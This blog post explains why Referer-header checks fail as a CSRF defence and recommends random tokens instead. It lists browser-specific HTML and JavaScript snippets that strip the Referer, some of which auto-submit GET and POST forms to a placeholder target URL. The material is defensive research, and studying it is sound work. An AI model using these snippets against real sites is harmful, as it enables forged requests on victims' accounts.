Bye bye, Referrer...

The checking of the HTTP referer is sometime used to prevent CSRF by accepting requests only from trusted sources. Some developers adopt the following basic designs without considering the possibility to use random tokens.

  • If a request lacks the header, the site accepts the request (lenient Referer validation)
  • If a request lacks the header, do not accept it at all (strict Referer validation)

None of these techinques are satisfactory in terms of security; the first one allows an attacker to suppress the header and make the application consider as trusted a malicious request, the second one incurs a compatibility penalty. Maybe the future is in the Origin header, but at the moment the best way to prevent CSRF attacks is using random tokens.
Krzysztof Kotowicz made an interesting research, showing which are the methods for client side only referrer stripping in POST & GET requests. I hardly encourage you to take a look at his blogpost.
I tried to further investigate in order to discover some other ways to suppress the referer, here follows an exahustive scheme.
Let's assume http://target.xx as the target URL, all tests were done in: Firefox 8.0, Opera 11.60, IE 9, Chrome 15, Safari 5.1.1.

GET method

// Firefox
<script>
location="jar:http://target.xx!/";
</script>

// Firefox
<script>
location="javascript:'<html><meta http-equiv=\"refresh\" content=\"0; url=http://target.xx\"></html>'";
</script>

// Chrome, Safari
<a rel="noreferrer" href="http://target.xx">click me</a>

// Chrome, Safari
<img src ="x.jpg" width="145" height="126" usemap ="#s" />

<map name="s">
<area shape="rect" coords="0,0,82,126" href="http://target.xx" rel="noreferrer"/>
</map>

POST method

// Firefox
getAppletContext().showDocument(new URL("javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</script>'"));

// Firefox
<script>
location="javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</sc"+"ript>'";
</script>

// Firefox, Chrome, Safari
<a href="data:text/html,<form id=x method=POST action=http://target.xx' ></form><script>document.getElementById('x').submit()</script>">click me</a>

// Firefox, Chrome, Safari
<img src ="x.jpg" width="145" height="126" usemap ="#s" />

<map name="s">
<area shape="rect" coords="0,0,82,126" href="data:text/html,<form id=x method=POST action='http://target.xx' ></form><script>document.getElementById('x').submit()</script>" />
</map>

About the first one, it is pretty weird because of the jar scheme: actually the target URL will not be displayed, FF will return an "Unsafe File Type" page. However the GET request is submitted to the server, so it reaches the application.
As you can see, javascript:'html' even works, moreover you could ask the user to click an anchor or an image. Chrome and Safari support the HTML5 noreferrer link relation (rel="noreferrer") within an a and an area element - Chrome and Safari hide the target url within the status bar for the area elements!
For the sake of completeness, in the case of Java Applets the attacker may use the getMember() method in order to access Javascript objects (JSObject).
I did not test the ftp scheme, but I suppose the referrer is also suppressed; instead getURL('http://target.xx/', '_self') [Flash] leaks the referrer.

Conclusion

If you encounter a website which adopts lenient Referer validation for preventing CSRF, then you will be definitely able to exploit it by suppressing the referrer. So let's use random tokens...

For further information:
- Robust Defenses for Cross-Site Request Forgery
- Cross-Site Request Forgery (CSRF) - OWASP
- Redirection Methods - html5security

1 Responses to Bye bye, Referrer...

  1. 1714 oxdef 2012-05-04 11:05 am

    Great compilation of hide-referrer methods, thanks!

Leave a Reply